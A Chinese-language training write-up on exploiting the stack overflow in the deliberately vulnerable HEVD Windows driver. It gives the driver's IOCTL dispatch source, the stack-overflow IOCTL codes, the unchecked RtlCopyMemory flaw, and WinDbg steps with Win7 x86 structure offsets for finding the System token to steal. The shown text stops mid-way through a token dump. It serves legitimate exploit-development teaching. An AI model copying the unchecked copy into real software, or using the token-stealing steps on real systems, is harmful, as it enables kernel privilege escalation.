2. HEVD 栈溢出漏洞训练
2.1 漏洞原理
当函数退出的时候,会将保存在栈中的返回地址取出,跳转到该地址继续执行,以此来执行函数调用以后的程序。而如果用户的输入没有得到控制,覆盖掉了这个返回地址就会让函数退出的时候,执行我们指定的地址的代码。
2.2 漏洞分析
若将该驱动当成没有源码的驱动来调试,可以用 IDA 逆向看 IOCTLCode,然后可以 Fuzz 一下来正常调试,联系这个驱动的话,可以直接看源码
2.2.1 IrpDeviceIoCtlHandler 函数源码
在以下函数中找到栈溢出的 IOCTLCode:HEVD_IOCTL_BUFFER_OVERFLOW_STACK 和 HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS
NTSTATUS
IrpDeviceIoCtlHandler(
_In_ PDEVICE_OBJECT DeviceObject,
_Inout_ PIRP Irp
)
{
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp = IoGetCurrentIrpStackLocation(Irp);
if (IrpSp)
{
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
switch (IoControlCode)
{
case HEVD_IOCTL_BUFFER_OVERFLOW_STACK:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
Status = BufferOverflowStackIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
break;
case HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
Status = BufferOverflowStackGSIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
break;
case HEVD_IOCTL_ARBITRARY_WRITE:
DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
Status = ArbitraryWriteIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
break;
case HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******\n");
Status = BufferOverflowNonPagedPoolIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******\n");
break;
case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
break;
case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
break;
case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
break;
case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
break;
case HEVD_IOCTL_TYPE_CONFUSION:
DbgPrint("****** HEVD_IOCTL_TYPE_CONFUSION ******\n");
Status = TypeConfusionIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_TYPE_CONFUSION ******\n");
break;
case HEVD_IOCTL_INTEGER_OVERFLOW:
DbgPrint("****** HEVD_IOCTL_INTEGER_OVERFLOW ******\n");
Status = IntegerOverflowIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_INTEGER_OVERFLOW ******\n");
break;
case HEVD_IOCTL_NULL_POINTER_DEREFERENCE:
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
break;
case HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK:
DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n");
Status = UninitializedMemoryStackIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n");
break;
case HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL:
DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******\n");
Status = UninitializedMemoryPagedPoolIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******\n");
break;
case HEVD_IOCTL_DOUBLE_FETCH:
DbgPrint("****** HEVD_IOCTL_DOUBLE_FETCH ******\n");
Status = DoubleFetchIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_DOUBLE_FETCH ******\n");
break;
case HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS:
DbgPrint("****** HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS ******\n");
Status = InsecureKernelFileAccessIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS ******\n");
break;
case HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL:
DbgPrint("****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL ******\n");
Status = MemoryDisclosureNonPagedPoolIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL ******\n");
break;
case HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION ******\n");
Status = BufferOverflowPagedPoolSessionIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION ******\n");
break;
case HEVD_IOCTL_WRITE_NULL:
DbgPrint("****** HEVD_IOCTL_WRITE_NULL ******\n");
Status = WriteNULLIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_WRITE_NULL ******\n");
break;
case HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******\n");
Status = BufferOverflowNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******\n");
Status = MemoryDisclosureNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
Status = AllocateUaFObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
Status = UseUaFObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
Status = FreeUaFObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX ******\n");
Status = AllocateFakeObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
Status = CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
Status = SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
Status = GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX:
DbgPrint("****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
Status = DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
break;
case HEVD_IOCTL_ARBITRARY_INCREMENT:
DbgPrint("****** HEVD_IOCTL_ARBITRARY_INCREMENT ******\n");
Status = ArbitraryIncrementIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_ARBITRARY_INCREMENT ******\n");
break;
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
//
// Update the IoStatus information
//
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;
//
// Complete the request
//
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
2.2.2 获得栈溢出漏洞的 IOCTLCode
根据 1.3 中的分析可以得知 IOCTL 是从 0x222003 开始,每次都要增加 4,最多可以增加 0x1B 次 ,所以:
HEVD_IOCTL_BUFFER_OVERFLOW_STACK 的 IOCTLCode 为:0x222003
HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS 的 IOCTLCode 为:0x222007
使用 IDA 打开 HEVD.sys 验证一下:
将这两个 IOCTLCode 解析一下:
解析工具:Downloads:OSR Online IOCTL Decoder
可以看到这些 IOCTLCode 的数据传送方式是不太安全的 METHOD_NEITHER
2.3 漏洞成因
-
查看驱动的源码中栈溢出函数这一部分:可以看到内部实际调用了 TriggerBufferOverflowStack 来触发栈溢出
NTSTATUS BufferOverflowStackIoctlHandler( _In_ PIRP Irp, _In_ PIO_STACK_LOCATION IrpSp ) { SIZE_T Size = 0; PVOID UserBuffer = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(Irp); PAGED_CODE(); UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength; if (UserBuffer) { Status = TriggerBufferOverflowStack(UserBuffer, Size); } return Status; }
-
进入 TriggerBufferOverflowStack 函数:可以看到漏洞原因很简单,就是安全版本的用了 sizeof 来计算用户传入的缓冲区本身的大小,而漏洞版直接使用用户传入的 Size 来决定拷贝的大小,如果用户传入的 Size 比实际的 UserBuffer 的大小大,则会造成栈溢出
__declspec(safebuffers) NTSTATUS TriggerBufferOverflowStack( _In_ PVOID UserBuffer, _In_ SIZE_T Size ) { NTSTATUS Status = STATUS_SUCCESS; ULONG KernelBuffer[BUFFER_SIZE] = { 0 };//这里的 BUFFER_SIZE 为 512,如果传入的 Size 大于 512,则会造成溢出 PAGED_CODE(); __try { // // Verify if the buffer resides in user mode // ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR)); DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); DbgPrint("[+] UserBuffer Size: 0x%zX\n", Size); DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer); DbgPrint("[+] KernelBuffer Size: 0x%zX\n", sizeof(KernelBuffer)); #ifdef SECURE // // Secure Note: This is secure because the developer is passing a size // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence, // there will be no overflow // RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else DbgPrint("[+] Triggering Buffer Overflow in Stack\n"); // // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability // because the developer is passing the user supplied size directly to // RtlCopyMemory()/memcpy() without validating if the size is greater or // equal to the size of KernelBuffer // RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
2.4 漏洞利用
2.4.1 基础知识
这部分参考:HEVD之栈溢出_FFE5的博客-CSDN博客
对于系统进程而言,如 system.exe 或者 csrss.exe,当我们用自己的普通用户进程打开 OpenProcess 时,往往都会返回 0x5 的错误,即拒绝访问。那是因为普通进程的权限是比较低的,想要打开高权限程序必须具有高于或等于目标进程权限,才能对其进程操作。那么如何提升当前进程的权限呢,常用的一种做法是,通过 Token 令牌修改。即将目标进程的 Token 结构数据或指针替换成 System 进程等系统进程的 Token 结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。
下面演示通过 winDbg 来找到令牌:
-
首先我们先切换到系统进程(一般来说不用切换,打开就是系统进程),输入命令 !thread ,可以查看当前线程的详细信息和堆栈,可以看到有 Attached Process 86adc798 Image: System,说明当前调试的是 System 进程。
-
然后定位到 System 进程的 EPROCES 结构地址,常见做法是通过 fs 寄存器,其指向当前活动线程的 TEB 结构(线程结构),在 Win7 x86 sp1 环境下,其偏移 0x124 为当前线程 KTHREAD 结构:
0: kd> dd fs:[124] 0030:00000124 83f7d380 00000000 83f7d380 00000100 0030:00000134 9e0a0106 0001007f 00000000 00000000 0030:00000144 00000000 00000000 00000000 00000000 0030:00000154 00000000 00000000 00000000 00000000 0030:00000164 00000000 00000000 00000000 00000000 0030:00000174 00000000 00000000 00000000 00000000 0030:00000184 00000000 00000000 00000000 00000000 0030:00000194 00000000 00000000 83f0cae7 83e4ff64 0: kd> dt _kthread 83f7d380 ntdll!_KTHREAD +0x000 Header : _DISPATCHER_HEADER +0x010 CycleTime : 0x0000000f`973c0c80 +0x018 HighCycleTime : 0xf +0x020 QuantumTarget : 0x00000004`000f7dcd +0x028 InitialStack : 0x83f70ed0 Void +0x02c StackLimit : 0x83f6e000 Void +0x030 KernelStack : 0x83f70c1c Void +0x034 ThreadLock : 0 +0x038 WaitRegister : _KWAIT_STATUS_REGISTER +0x039 Running : 0x1 '' +0x03a Alerted : [2] "" +0x03c KernelStackResident : 0y1 +0x03c ReadyTransition : 0y0 +0x03c ProcessReadyQueue : 0y0 +0x03c WaitNext : 0y0 +0x03c SystemAffinityActive : 0y0 +0x03c Alertable : 0y0 +0x03c GdiFlushActive : 0y0 +0x03c UserStackWalkActive : 0y0 +0x03c ApcInterruptRequest : 0y0 +0x03c ForceDeferSchedule : 0y0 +0x03c QuantumEndMigrate : 0y0 +0x03c UmsDirectedSwitchEnable : 0y0 +0x03c TimerActive : 0y0 +0x03c SystemThread : 0y1 +0x03c Reserved : 0y000000000000000000 (0) +0x03c MiscFlags : 0n8193 +0x040 ApcState : _KAPC_STATE +0x040 ApcStateFill : [23] "???" +0x057 Priority : 0 '' +0x058 NextProcessor : 0 +0x05c DeferredProcessor : 0 +0x060 ApcQueueLock : 0 +0x064 ContextSwitches : 0x80b9 +0x068 State : 0x2 '' +0x069 NpxState : 0 '' +0x06a WaitIrql : 0x2 '' +0x06b WaitMode : 0 '' +0x06c WaitStatus : 0n0 +0x070 WaitBlockList : (null) +0x074 WaitListEntry : _LIST_ENTRY [ 0x0 - 0x0 ] +0x074 SwapListEntry : _SINGLE_LIST_ENTRY +0x07c Queue : (null) +0x080 WaitTime : 0xda7 +0x084 KernelApcDisable : 0n0 +0x086 SpecialApcDisable : 0n0 +0x084 CombinedApcDisable : 0 +0x088 Teb : (null) +0x090 Timer : _KTIMER +0x0b8 AutoAlignment : 0y0 +0x0b8 DisableBoost : 0y0 +0x0b8 EtwStackTraceApc1Inserted : 0y0 +0x0b8 EtwStackTraceApc2Inserted : 0y0 +0x0b8 CalloutActive : 0y0 +0x0b8 ApcQueueable : 0y1 +0x0b8 EnableStackSwap : 0y1 +0x0b8 GuiThread : 0y0 +0x0b8 UmsPerformingSyscall : 0y0 +0x0b8 VdmSafe : 0y0 +0x0b8 UmsDispatched : 0y0 +0x0b8 ReservedFlags : 0y000000000000000000000 (0) +0x0b8 ThreadFlags : 0n96 +0x0bc ServiceTable : 0x83fb29c0 Void +0x0c0 WaitBlock : [4] _KWAIT_BLOCK +0x120 QueueListEntry : _LIST_ENTRY [ 0x0 - 0x0 ] +0x128 TrapFrame : (null) +0x12c FirstArgument : (null) +0x130 CallbackStack : (null) +0x130 CallbackDepth : 0 +0x134 ApcStateIndex : 0x1 '' +0x135 BasePriority : 0 '' +0x136 PriorityDecrement : 0 '' +0x136 ForegroundBoost : 0y0000 +0x136 UnusualBoost : 0y0000 +0x137 Preempted : 0 '' +0x138 AdjustReason : 0 '' +0x139 AdjustIncrement : 0 '' +0x13a PreviousMode : 0 '' +0x13b Saturation : 0 '' +0x13c SystemCallNumber : 0 +0x140 FreezeCount : 0 +0x144 UserAffinity : _GROUP_AFFINITY +0x150 Process : 0x83f7d640 _KPROCESS +0x154 Affinity : _GROUP_AFFINITY +0x160 IdealProcessor : 0 +0x164 UserIdealProcessor : 0 +0x168 ApcStatePointer : [2] 0x83f7d4f0 _KAPC_STATE +0x170 SavedApcState : _KAPC_STATE +0x170 SavedApcStateFill : [23] "???" +0x187 WaitReason : 0x19 '' +0x188 SuspendCount : 0 '' +0x189 Spare1 : 0 '' +0x18a OtherPlatformFill : 0 '' +0x18c Win32Thread : (null) +0x190 StackBase : 0x83f71000 Void +0x194 SuspendApc : _KAPC +0x194 SuspendApcFill0 : [1] "???" +0x195 ResourceIndex : 0 '' +0x194 SuspendApcFill1 : [3] "???" +0x197 QuantumReset : 0x7f '' +0x194 SuspendApcFill2 : [4] "???" +0x198 KernelTime : 0x591 +0x194 SuspendApcFill3 : [36] "???" +0x1b8 WaitPrcb : (null) +0x194 SuspendApcFill4 : [40] "???" +0x1bc LegoData : (null) +0x194 SuspendApcFill5 : [47] "???" +0x1c3 LargeStack : 0 '' +0x1c4 UserTime : 0 +0x1c8 SuspendSemaphore : _KSEMAPHORE +0x1c8 SuspendSemaphorefill : [20] "???" +0x1dc SListFaultCount : 0 +0x1e0 ThreadListEntry : _LIST_ENTRY [ 0x807cf9e0 - 0x83f7d66c ] +0x1e8 MutantListHead : _LIST_ENTRY [ 0x83f7d568 - 0x83f7d568 ] +0x1f0 SListFaultAddress : (null) +0x1f4 ThreadCounters : (null) +0x1f8 XStateSave : (null)
-
_KTHREAD 结构的偏移 0x50 处为 _KPROCESS 结构,但是上面调试的时候确没看见偏移 0x50 的地方,那是因为偏移 0x40 处是个结构体,包含了偏移 0x50 处为 _KPROCESS 的结构,输入命令 dt _KAPC_STATE 83f7d380+40,可以看到 0x010 处就是 _KPROCESS。然而 _KPROCESS 为 _EPOCESS 结构的第一个字段,这样我们就定位到了_EPROCESS 结构。
0: kd> dt _KAPC_STATE 83f7d380+40 ntdll!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY [ 0x83f7d3c0 - 0x83f7d3c0 ] +0x010 Process : 0x86adc798 _KPROCESS +0x014 KernelApcInProgress : 0 '' +0x015 KernelApcPending : 0 '' +0x016 UserApcPending : 0 ''
-
通过找 _EPROCESS 中偏移 0xb8 处的进程双向链表,偏移 0xb4 处的进程标识符以及 System 进程的进程标识符 4 遍历链表匹配到 System 进程。在 EPROCESS 结构偏移 0xF8 处为 _EX_FAST_REF 结构,为 Token 成员域
0: kd> dt _EPROCESS 0x86adc798 ntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x098 ProcessLock : _EX_PUSH_LOCK +0x0a0 CreateTime : _LARGE_INTEGER 0x01d90fc9`c2c595fc +0x0a8 ExitTime : _LARGE_INTEGER 0x0 +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : 0x00000004 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x881f0970 - 0x83f8af18 ] +0x0c0 ProcessQuotaUsage : [2] 0 +0x0c8 ProcessQuotaPeak : [2] 0 +0x0d0 CommitCharge : 0xb +0x0d4 QuotaBlock : 0x83f7ecc0 _EPROCESS_QUOTA_BLOCK +0x0d8 CpuQuotaBlock : (null) +0x0dc PeakVirtualSize : 0x791000 +0x0e0 VirtualSize : 0x210000 +0x0e4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ] +0x0ec DebugPort : (null) +0x0f0 ExceptionPortData : (null) +0x0f0 ExceptionPortValue : 0 +0x0f0 ExceptionPortState : 0y000 +0x0f4 ObjectTable : 0x8da01b28 _HANDLE_TABLE +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : 0 +0x100 AddressCreationLock : _EX_PUSH_LOCK +0x104 RotateInProgress : (null) +0x108 ForkInProgress : (null) +0x10c HardwareTrigger : 0 +0x110 PhysicalVadRoot : 0x86b372e8 _MM_AVL_TABLE +0x114 CloneRoot : (null) +0x118 NumberOfPrivatePages : 3 +0x11c NumberOfLockedPages : 0x40 +0x120 Win32Process : (null) +0x124 Job : (null) +0x128 SectionObject : (null) +0x12c SectionBaseAddress : (null) +0x130 Cookie : 0 +0x134 Spare8 : 0 +0x138 WorkingSetWatch : (null) +0x13c Win32WindowStation : (null) +0x140 InheritedFromUniqueProcessId : (null) +0x144 LdtInformation : (null) +0x148 VdmObjects : (null) +0x14c ConsoleHostProcess : 0 +0x150 DeviceMap : 0x8da088d8 Void +0x154 EtwDataSource : (null) +0x158 FreeTebHint : 0x7ffe0000 Void +0x160 PageDirectoryPte : _HARDWARE_PTE_X86 +0x160 Filler : 0 +0x168 Session : (null) +0x16c ImageFileName : [15] "System" +0x17b PriorityClass : 0x2 '' +0x17c JobLinks : _LIST_ENTRY [ 0x0 - 0x0 ] +0x184 LockedPagesList : (null) +0x188 ThreadListHead : _LIST_ENTRY [ 0x86adc728 - 0x892f7288 ] +0x190 SecurityPort : (null) +0x194 PaeTop : 0x83f8ffc0 Void +0x198 ActiveThreads : 0x6f +0x19c ImagePathHash : 0 +0x1a0 DefaultHardErrorProcessing : 1 +0x1a4 LastThreadExitStatus : 0n0 +0x1a8 Peb : (null) +0x1ac PrefetchTrace : _EX_FAST_REF +0x1b0 ReadOperationCount : _LARGE_INTEGER 0xe4 +0x1b8 WriteOperationCount : _LARGE_INTEGER 0x8d +0x1c0 OtherOperationCount : _LARGE_INTEGER 0xd46 +0x1c8 ReadTransferCount : _LARGE_INTEGER 0x5f47718 +0x1d0 WriteTransferCount : _LARGE_INTEGER 0x75c7a8 +0x1d8 OtherTransferCount : _LARGE_INTEGER 0x2c277 +0x1e0 CommitChargeLimit : 0 +0x1e4 CommitChargePeak : 0x2f +0x1e8 AweInfo : (null) +0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO +0x1f0 Vm : _MMSUPPORT +0x25c MmProcessLinks : _LIST_ENTRY [ 0x881f0b14 - 0x83f7d89c ] +0x264 HighestUserAddress : (null) +0x268 ModifiedPageCount : 0x1b3c +0x26c Flags2 : 0x2d800 +0x26c JobNotReallyActive : 0y0 +0x26c AccountingFolded : 0y0 +0x26c NewProcessReported : 0y0 +0x26c ExitProcessReported : 0y0 +0x26c ReportCommitChanges : 0y0 +0x26c LastReportMemory : 0y0 +0x26c ReportPhysicalPageChanges : 0y0 +0x26c HandleTableRundown : 0y0 +0x26c NeedsHandleRundown : 0y0 +0x26c RefTraceEnabled : 0y0 +0x26c NumaAware : 0y0 +0x26c ProtectedProcess : 0y1 +0x26c DefaultPagePriority : 0y101 +0x26c PrimaryTokenFrozen : 0y1 +0x26c ProcessVerifierTarget : 0y0 +0x26c StackRandomizationDisabled : 0y1 +0x26c AffinityPermanent : 0y0 +0x26c AffinityUpdateEnable : 0y0 +0x26c PropagateNode : 0y0 +0x26c ExplicitAffinity : 0y0 +0x270 Flags : 0x14040800 +0x270 CreateReported : 0y0 +0x270 NoDebugInherit : 0y0 +0x270 ProcessExiting : 0y0 +0x270 ProcessDelete : 0y0 +0x270 Wow64SplitPages : 0y0 +0x270 VmDeleted : 0y0 +0x270 OutswapEnabled : 0y0 +0x270 Outswapped : 0y0 +0x270 ForkFailed : 0y0 +0x270 Wow64VaSpace4Gb : 0y0 +0x270 AddressSpaceInitialized : 0y10 +0x270 SetTimerResolution : 0y0 +0x270 BreakOnTermination : 0y0 +0x270 DeprioritizeViews : 0y0 +0x270 WriteWatch : 0y0 +0x270 ProcessInSession : 0y0 +0x270 OverrideAddressSpace : 0y0 +0x270 HasAddressSpace : 0y1 +0x270 LaunchPrefetched : 0y0 +0x270 InjectInpageErrors : 0y0 +0x270 VmTopDown : 0y0 +0x270 ImageNotifyDone : 0y0 +0x270 PdeUpdateNeeded : 0y0 +0x270 VdmAllowed : 0y0 +0x270 CrossSessionCreate : 0y0 +0x270 ProcessInserted : 0y1 +0x270 DefaultIoPriority : 0y010 +0x270 ProcessSelfDelete : 0y0 +0x270 SetTimerResolutionLink : 0y0 +0x274 ExitStatus : 0n259 +0x278 VadRoot : _MM_AVL_TABLE +0x298 AlpcContext : _ALPC_PROCESS_CONTEXT +0x2a8 TimerResolutionLink : _LIST_ENTRY [ 0x0 - 0x0 ] +0x2b0 RequestedTimerResolution : 0 +0x2b4 ActiveThreadsHighWatermark : 0x71 +0x2b8 SmallestTimerResolution : 0 +0x2bc TimerResolutionStackRecord : (null)
-
Token 成员域(错误部分)
0: kd> dd 0x86adc798+f8 86adc890 8da01275 00000000 00000000 00000000 86adc8a0 00000000 00000000 86b372e8 00000000 86adc8b0 00000003 00000040 00000000 00000000 86adc8c0 00000000 00000000 00000000 00000000 86adc8d0 00000000 00000000 00000000 00000000 86adc8e0 00000000 00000000 8da088d8 00000000 86adc8f0 7ffe0000 00000000 00000000 00000000 86adc900 00000000 74737953 00006d65 00000000 0: kd> dt _EX_FAST_REF 8da01275 ntdll!_EX_FAST_REF +0x000 Object : 0x002a4d45 Void +0x000 RefCnt : 0y101 +0x000 Value : 0x2a4d45 0: kd> !token 8da01275 The address 0xffffffff8da01275 does not point to a token object.
-
为什么说这是错误部分,因为 86ADC890 数值的低 3 位表示引用计数,去除低 3 位数值后的 32 位完整数值指向实际表示的内存地址。
-
Token 结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid),特权级(Privileges)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System 进程的 Token 结构块的数据如下:
0: kd> dt _EX_FAST_REF 8da01275&fffffff0 ntdll!_EX_FAST_REF +0x000 Object : 0x5359532a Void +0x000 RefCnt : 0y010 +0x000 Value : 0x5359532a 0: kd> !token 8da01275&fffffff0 _TOKEN 0xffffffff8da01270 TS Session ID: 0 User: S-1-5-18 User Groups: 00 S-1-5-32-544 Attributes - Default Enabled Owner 01 S-1-1-0 Attributes - Mandatory Default Enabled 02 S-1-5-11 Attributes - Mandatory Default Enabled 03 S-1-16-16384 Attributes - GroupIntegrity GroupIntegrityEnabled Primary Group: S-1-5-18 Privs: 02 0x000000002 SeCreateTokenPrivilege Attributes - 03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes - 04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default 05 0x000000005 SeIncreaseQuotaPrivilege Attributes - 07 0x000000007 SeTcbPrivilege Attributes - 